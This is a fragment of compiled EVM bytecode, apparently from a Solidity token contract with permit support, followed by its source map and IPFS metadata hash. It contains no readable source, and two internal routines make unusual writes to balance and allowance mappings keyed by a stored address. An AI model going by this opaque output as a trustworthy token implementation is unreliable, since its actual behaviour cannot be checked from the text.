fffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610eda573073ffffffffffffffffffffffffffffffffffffffff166002610e3c919061164b565b60045f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b50565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f5f604051610f0d9190611785565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc64630604051602001610f4c95949392919061179b565b60405160208183030381529060405280519060200120905090565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610fa982610f67565b610fb38185610f71565b9350610fc3818560208601610f81565b610fcc81610f8f565b840191505092915050565b5f6020820190508181035f830152610fef8184610f9f565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61102482610ffb565b9050919050565b6110348161101a565b811461103e575f80fd5b50565b5f8135905061104f8161102b565b92915050565b5f819050919050565b61106781611055565b8114611071575f80fd5b50565b5f813590506110828161105e565b92915050565b5f806040838503121561109e5761109d610ff7565b5b5f6110ab85828601611041565b92505060206110bc85828601611074565b9150509250929050565b5f8115159050919050565b6110da816110c6565b82525050565b5f6020820190506110f35f8301846110d1565b92915050565b61110281611055565b82525050565b5f60208201905061111b5f8301846110f9565b92915050565b5f805f6060848603121561113857611137610ff7565b5b5f61114586828701611041565b935050602061115686828701611041565b925050604061116786828701611074565b9150509250925092565b5f60ff82169050919050565b61118681611171565b82525050565b5f60208201905061119f5f83018461117d565b92915050565b5f819050919050565b6111b7816111a5565b82525050565b5f6020820190506111d05f8301846111ae565b92915050565b5f602082840312156111eb576111ea610ff7565b5b5f6111f884828501611041565b91505092915050565b61120a81611171565b8114611214575f80fd5b50565b5f8135905061122581611201565b92915050565b611234816111a5565b811461123e575f80fd5b50565b5f8135905061124f8161122b565b92915050565b5f805f805f805f60e0888a0312156112705761126f610ff7565b5b5f61127d8a828b01611041565b975050602061128e8a828b01611041565b965050604061129f8a828b01611074565b95505060606112b08a828b01611074565b94505060806112c18a828b01611217565b93505060a06112d28a828b01611241565b92505060c06112e38a828b01611241565b91505092959891949750929550565b5f806040838503121561130857611307610ff7565b5b5f61131585828601611041565b925050602061132685828601611041565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061137457607f821691505b60208210810361138757611386611330565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6113c482611055565b91506113cf83611055565b92508282039050818111156113e7576113e661138d565b5b92915050565b7f5045524d49545f444541444c494e455f455850495245440000000000000000005f82015250565b5f611421601783610f71565b915061142c826113ed565b602082019050919050565b5f6020820190508181035f83015261144e81611415565b9050919050565b61145e8161101a565b82525050565b5f60c0820190506114775f8301896111ae565b6114846020830188611455565b6114916040830187611455565b61149e60608301866110f9565b6114ab60808301856110f9565b6114b860a08301846110f9565b979650505050505050565b5f81905092915050565b7f19010000000000000000000000000000000000000000000000000000000000005f82015250565b5f6115016002836114c3565b915061150c826114cd565b600282019050919050565b5f819050919050565b61153161152c826111a5565b611517565b82525050565b5f611541826114f5565b915061154d8285611520565b60208201915061155d8284611520565b6020820191508190509392505050565b5f6080820190506115805f8301876111ae565b61158d602083018661117d565b61159a60408301856111ae565b6115a760608301846111ae565b95945050505050565b7f494e56414c49445f5349474e45520000000000000000000000000000000000005f82015250565b5f6115e4600e83610f71565b91506115ef826115b0565b602082019050919050565b5f6020820190508181035f830152611611816115d8565b9050919050565b5f61162282611055565b915061162d83611055565b92508282019050808211156116455761164461138d565b5b92915050565b5f61165582611055565b915061166083611055565b925082820261166e81611055565b915082820484148315176116855761168461138d565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6116c382611055565b91506116ce83611055565b9250826116de576116dd61168c565b5b828204905092915050565b5f81905092915050565b5f819050815f5260205f209050919050565b5f81546117118161135d565b61171b81866116e9565b9450600182165f8114611735576001811461174a5761177c565b60ff198316865281151582028601935061177c565b611753856116f3565b5f5b8381101561177457815481890152600182019150602081019050611755565b838801955050505b50505092915050565b5f6117908284611705565b915081905092915050565b5f60a0820190506117ae5f8301886111ae565b6117bb60208301876111ae565b6117c860408301866111ae565b6117d560608301856110f9565b6117e26080830184611455565b969550505050505056fea2646970667358221220006849e3ac18e9b89857205bc964eb43a6bc23e9fd65c74b717d4b286e82ab3164736f6c634300081a0033

81:137:1:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1031:18:0;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2617:211;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1304:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3250:621;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1083:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5549:177;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1337:44;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1776:41;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1056:20;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2834:410;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4060:1483;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1388:64;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1031:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2617:211::-;2691:4;2740:6;2707:9;:21;2717:10;2707:21;;;;;;;;;;;;;;;:30;2729:7;2707:30;;;;;;;;;;;;;;;:39;;;;2783:7;2762:37;;2771:10;2762:37;;;2792:6;2762:37;;;;;;:::i;:::-;;;;;;;;2817:4;2810:11;;2617:211;;;;:::o;1304:26::-;;;;:::o;3250:621::-;3368:4;3384:15;3402:9;:15;3412:4;3402:15;;;;;;;;;;;;;;;:27;3418:10;3402:27;;;;;;;;;;;;;;;;3384:45;;3491:17;3480:7;:28;3476:80;;3550:6;3540:7;:16;;;;:::i;:::-;3510:9;:15;3520:4;3510:15;;;;;;;;;;;;;;;:27;3526:10;3510:27;;;;;;;;;;;;;;;:46;;;;3476:80;3586:6;3567:9;:15;3577:4;3567:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;3755:19;3757:6;3765:4;3771:2;3755:1;:19::i;:::-;3738:9;:13;3748:2;3738:13;;;;;;;;;;;;;;;;:36;;;;;;;;;;;3794:7;3798:2;3794:3;:7::i;:::-;3831:2;3816:26;;3825:4;3816:26;;;3835:6;3816:26;;;;;;:::i;:::-;;;;;;;;3860:4;3853:11;;;3250:621;;;;;:::o;1083:31::-;;;:::o;5549:177::-;5606:7;5649:16;5632:13;:33;:87;;5695:24;:22;:24::i;:::-;5632:87;;;5668:24;5632:87;5625:94;;5549:177;:::o;1337:44::-;;;;;;;;;;;;;;;;;:::o;1776:41::-;;;;;;;;;;;;;;;;;:::o;1056:20::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2834:410::-;2904:4;2945:6;2920:9;:21;2930:10;2920:21;;;;;;;;;;;;;;;;:31;;;;;;;:::i;:::-;;;;;;;;3114:25;3116:6;3124:10;3136:2;3114:1;:25::i;:::-;3097:9;:13;3107:2;3097:13;;;;;;;;;;;;;;;;:42;;;;;;;;;;;3160:7;3164:2;3160:3;:7::i;:::-;3204:2;3183:32;;3192:10;3183:32;;;3208:6;3183:32;;;;;;:::i;:::-;;;;;;;;3233:4;3226:11;;2834:410;;;;:::o;4060:1483::-;4279:15;4267:8;:27;;4259:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;4487:24;4514:805;4650:18;:16;:18::i;:::-;4777:165;4976:5;5015:7;5056:5;5095:6;:13;5102:5;5095:13;;;;;;;;;;;;;;;;:15;;;;;;;;;;;;5144:8;4733:449;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;4694:514;;;;;;4572:658;;;;;;;;;:::i;:::-;;;;;;;;;;;;;4541:707;;;;;;5266:1;5285;5304;4514:805;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4487:832;;5370:1;5342:30;;:16;:30;;;;:59;;;;;5396:5;5376:25;;:16;:25;;;5342:59;5334:86;;;;;;;;;;;;:::i;:::-;;;;;;;;;5474:5;5435:9;:27;5445:16;5435:27;;;;;;;;;;;;;;;:36;5463:7;5435:36;;;;;;;;;;;;;;;:44;;;;4463:1027;5521:7;5505:31;;5514:5;5505:31;;;5530:5;5505:31;;;;;;:::i;:::-;;;;;;;;4060:1483;;;;;;;:::o;1388:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;6184:321::-;6294:7;6384:4;6360:31;;6339:9;:13;6349:2;;;;;;;;;;;6339:13;;;;;;;;;;;;;;;:17;6353:2;6339:17;;;;;;;;;;;;;;;;6317:9;:13;6327:2;;;;;;;;;;;6317:13;;;;;;;;;;;;;;;:19;6331:4;6317:19;;;;;;;;;;;;;;;;:39;;;;:::i;:::-;:74;6313:186;;6435:10;6423:8;6415:5;:16;;;;:::i;:::-;6414:31;;;;:::i;:::-;6407:38;;;;6313:186;6483:5;6476:12;;6184:321;;;;;;:::o;6511:156::-;6596:2;;;;;;;;;;;6580:20;;6559:9;:13;6569:2;;;;;;;;;;;6559:13;;;;;;;;;;;;;;;:17;6573:2;6559:17;;;;;;;;;;;;;;;;:41;6555:106;;6652:4;6628:31;;6624:1;:35;;;;:::i;:::-;6604:9;:13;6614:2;;;;;;;;;;;6604:13;;;;;;;;;;;;;;;:17;6618:2;6604:17;;;;;;;;;;;;;;;:55;;;;6555:106;6511:156;:::o;5732:446::-;5797:7;5894:95;6027:4;6011:22;;;;;;:::i;:::-;;;;;;;;6055:14;6091:13;6134:4;5862:295;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;5835:336;;;;;;5816:355;;5732:446;:::o;7:99:2:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:86::-;4351:7;4391:4;4384:5;4380:16;4369:27;;4316:86;;;:::o;4408:112::-;4491:22;4507:5;4491:22;:::i;:::-;4486:3;4479:35;4408:112;;:::o;4526:214::-;4615:4;4653:2;4642:9;4638:18;4630:26;;4666:67;4730:1;4719:9;4715:17;4706:6;4666:67;:::i;:::-;4526:214;;;;:::o;4746:77::-;4783:7;4812:5;4801:16;;4746:77;;;:::o;4829:118::-;4916:24;4934:5;4916:24;:::i;:::-;4911:3;4904:37;4829:118;;:::o;4953:222::-;5046:4;5084:2;5073:9;5069:18;5061:26;;5097:71;5165:1;5154:9;5150:17;5141:6;5097:71;:::i;:::-;4953:222;;;;:::o;5181:329::-;5240:6;5289:2;5277:9;5268:7;5264:23;5260:32;5257:119;;;5295:79;;:::i;:::-;5257:119;5415:1;5440:53;5485:7;5476:6;5465:9;5461:22;5440:53;:::i;:::-;5430:63;;5386:117;5181:329;;;;:::o;5516:118::-;5587:22;5603:5;5587:22;:::i;:::-;5580:5;5577:33;5567:61;;5624:1;5621;5614:12;5567:61;5516:118;:::o;5640:135::-;5684:5;5722:6;5709:20;5700:29;;5738:31;5763:5;5738:31;:::i;:::-;5640:135;;;;:::o;5781:122::-;5854:24;5872:5;5854:24;:::i;:::-;5847:5;5844:35;5834:63;;5893:1;5890;5883:12;5834:63;5781:122;:::o;5909:139::-;5955:5;5993:6;5980:20;5971:29;;6009:33;6036:5;6009:33;:::i;:::-;5909:139;;;;:::o;6054:1199::-;6165:6;6173;6181;6189;6197;6205;6213;6262:3;6250:9;6241:7;6237:23;6233:33;6230:120;;;6269:79;;:::i;:::-;6230:120;6389:1;6414:53;6459:7;6450:6;6439:9;6435:22;6414:53;:::i;:::-;6404:63;;6360:117;6516:2;6542:53;6587:7;6578:6;6567:9;6563:22;6542:53;:::i;:::-;6532:63;;6487:118;6644:2;6670:53;6715:7;6706:6;6695:9;6691:22;6670:53;:::i;:::-;6660:63;;6615:118;6772:2;6798:53;6843:7;6834:6;6823:9;6819:22;6798:53;:::i;:::-;6788:63;;6743:118;6900:3;6927:51;6970:7;6961:6;6950:9;6946:22;6927:51;:::i;:::-;6917:61;;6871:117;7027:3;7054:53;7099:7;7090:6;7079:9;7075:22;7054:53;:::i;:::-;7044:63;;6998:119;7156:3;7183:53;7228:7;7219:6;7208:9;7204:22;7183:53;:::i;:::-;7173:63;;7127:119;6054:1199;;;;;;;;;;:::o;7259:474::-;7327:6;7335;7384:2;7372:9;7363:7;7359:23;7355:32;7352:119;;;7390:79;;:::i;:::-;7352:119;7510:1;7535:53;7580:7;7571:6;7560:9;7556:22;7535:53;:::i;:::-;7525:63;;7481:117;7637:2;7663:53;7708:7;7699:6;7688:9;7684:22;7663:53;:::i;:::-;7653:63;;7608:118;7259:474;;;;;:::o;7739:180::-;7787:77;7784:1;7777:88;7884:4;7881:1;7874:15;7908:4;7905:1;7898:15;7925:320;7969:6;8006:1;8000:4;7996:12;7986:22;;8053:1;8047:4;8043:12;8074:18;8064:81;;8130:4;8122:6;8118:17;8108:27;;8064:81;8192:2;8184:6;8181:14;8161:18;8158:38;8155:84;;8211:18;;:::i;:::-;8155:84;7976:269;7925:320;;;:::o;8251:180::-;8299:77;8296:1;8289:88;8396:4;8393:1;8386:15;8420:4;8417:1;8410:15;8437:194;8477:4;8497:20;8515:1;8497:20;:::i;:::-;8492:25;;8531:20;8549:1;8531:20;:::i;:::-;8526:25;;8575:1;8572;8568:9;8560:17;;8599:1;8593:4;8590:11;8587:37;;;8604:18;;:::i;:::-;8587:37;8437:194;;;;:::o;8637:173::-;8777:25;8773:1;8765:6;8761:14;8754:49;8637:173;:::o;8816:366::-;8958:3;8979:67;9043:2;9038:3;8979:67;:::i;:::-;8972:74;;9055:93;9144:3;9055:93;:::i;:::-;9173:2;9168:3;9164:12;9157:19;;8816:366;;;:::o;9188:419::-;9354:4;9392:2;9381:9;9377:18;9369:26;;9441:9;9435:4;9431:20;9427:1;9416:9;9412:17;9405:47;9469:131;9595:4;9469:131;:::i;:::-;9461:139;;9188:419;;;:::o;9613:118::-;9700:24;9718:5;9700:24;:::i;:::-;9695:3;9688:37;9613:118;;:::o;9737:775::-;9970:4;10008:3;9997:9;9993:19;9985:27;;10022:71;10090:1;10079:9;10075:17;10066:6;10022:71;:::i;:::-;10103:72;10171:2;10160:9;10156:18;10147:6;10103:72;:::i;:::-;10185;10253:2;10242:9;10238:18;10229:6;10185:72;:::i;:::-;10267;10335:2;10324:9;10320:18;10311:6;10267:72;:::i;:::-;10349:73;10417:3;10406:9;10402:19;10393:6;10349:73;:::i;:::-;10432;10500:3;10489:9;10485:19;10476:6;10432:73;:::i;:::-;9737:775;;;;;;;;;:::o;10518:148::-;10620:11;10657:3;10642:18;;10518:148;;;;:::o;10672:214::-;10812:66;10808:1;10800:6;10796:14;10789:90;10672:214;:::o;10892:400::-;11052:3;11073:84;11155:1;11150:3;11073:84;:::i;:::-;11066:91;;11166:93;11255:3;11166:93;:::i;:::-;11284:1;11279:3;11275:11;11268:18;;10892:400;;;:::o;11298:79::-;11337:7;11366:5;11355:16;;11298:79;;;:::o;11383:157::-;11488:45;11508:24;11526:5;11508:24;:::i;:::-;11488:45;:::i;:::-;11483:3;11476:58;11383:157;;:::o;11546:663::-;11787:3;11809:148;11953:3;11809:148;:::i;:::-;11802:155;;11967:75;12038:3;12029:6;11967:75;:::i;:::-;12067:2;12062:3;12058:12;12051:19;;12080:75;12151:3;12142:6;12080:75;:::i;:::-;12180:2;12175:3;12171:12;12164:19;;12200:3;12193:10;;11546:663;;;;;:::o;12215:545::-;12388:4;12426:3;12415:9;12411:19;12403:27;;12440:71;12508:1;12497:9;12493:17;12484:6;12440:71;:::i;:::-;12521:68;12585:2;12574:9;12570:18;12561:6;12521:68;:::i;:::-;12599:72;12667:2;12656:9;12652:18;12643:6;12599:72;:::i;:::-;12681;12749:2;12738:9;12734:18;12725:6;12681:72;:::i;:::-;12215:545;;;;;;;:::o;12766:164::-;12906:16;12902:1;12894:6;12890:14;12883:40;12766:164;:::o;12936:366::-;13078:3;13099:67;13163:2;13158:3;13099:67;:::i;:::-;13092:74;;13175:93;13264:3;13175:93;:::i;:::-;13293:2;13288:3;13284:12;13277:19;;12936:366;;;:::o;13308:419::-;13474:4;13512:2;13501:9;13497:18;13489:26;;13561:9;13555:4;13551:20;13547:1;13536:9;13532:17;13525:47;13589:131;13715:4;13589:131;:::i;:::-;13581:139;;13308:419;;;:::o;13733:191::-;13773:3;13792:20;13810:1;13792:20;:::i;:::-;13787:25;;13826:20;13844:1;13826:20;:::i;:::-;13821:25;;13869:1;13866;13862:9;13855:16;;13890:3;13887:1;13884:10;13881:36;;;13897:18;;:::i;:::-;13881:36;13733:191;;;;:::o;13930:410::-;13970:7;13993:20;14011:1;13993:20;:::i;:::-;13988:25;;14027:20;14045:1;14027:20;:::i;:::-;14022:25;;14082:1;14079;14075:9;14104:30;14122:11;14104:30;:::i;:::-;14093:41;;14283:1;14274:7;14270:15;14267:1;14264:22;14244:1;14237:9;14217:83;14194:139;;14313:18;;:::i;:::-;14194:139;13978:362;13930:410;;;;:::o;14346:180::-;14394:77;14391:1;14384:88;14491:4;14488:1;14481:15;14515:4;14512:1;14505:15;14532:185;14572:1;14589:20;14607:1;14589:20;:::i;:::-;14584:25;;14623:20;14641:1;14623:20;:::i;:::-;14618:25;;14662:1;14652:35;;14667:18;;:::i;:::-;14652:35;14709:1;14706;14702:9;14697:14;;14532:185;;;;:::o;14723:147::-;14824:11;14861:3;14846:18;;14723:147;;;;:::o;14876:144::-;14928:4;14951:3;14943:11;;14974:3;14971:1;14964:14;15008:4;15005:1;14995:18;14987:26;;14876:144;;;:::o;15048:878::-;15153:3;15190:5;15184:12;15219:36;15245:9;15219:36;:::i;:::-;15271:88;15352:6;15347:3;15271:88;:::i;:::-;15264:95;;15390:1;15379:9;15375:17;15406:1;15401:166;;;;15581:1;15576:344;;;;15368:552;;15401:166;15485:4;15481:9;15470;15466:25;15461:3;15454:38;15547:6;15540:14;15533:22;15525:6;15521:35;15516:3;15512:45;15505:52;;15401:166;;15576:344;15643:41;15678:5;15643:41;:::i;:::-;15706:1;15720:154;15734:6;15731:1;15728:13;15720:154;;;15808:7;15802:14;15798:1;15793:3;15789:11;15782:35;15858:1;15849:7;15845:15;15834:26;;15756:4;15753:1;15749:12;15744:17;;15720:154;;;15903:6;15898:3;15894:16;15887:23;;15583:337;;15368:552;;15157:769;;15048:878;;;;:::o;15932:273::-;16063:3;16085:94;16175:3;16166:6;16085:94;:::i;:::-;16078:101;;16196:3;16189:10;;15932:273;;;;:::o;16211:664::-;16416:4;16454:3;16443:9;16439:19;16431:27;;16468:71;16536:1;16525:9;16521:17;16512:6;16468:71;:::i;:::-;16549:72;16617:2;16606:9;16602:18;16593:6;16549:72;:::i;:::-;16631;16699:2;16688:9;16684:18;16675:6;16631:72;:::i;:::-;16713;16781:2;16770:9;16766:18;16757:6;16713:72;:::i;:::-;16795:73;16863:3;16852:9;16848:19;16839:6;16795:73;:::i;:::-;16211:664;;;;;;;;:::o

ipfs://006849e3ac18e9b89857205bc964eb43a6bc23e9fd65c74b717d4b286e82ab31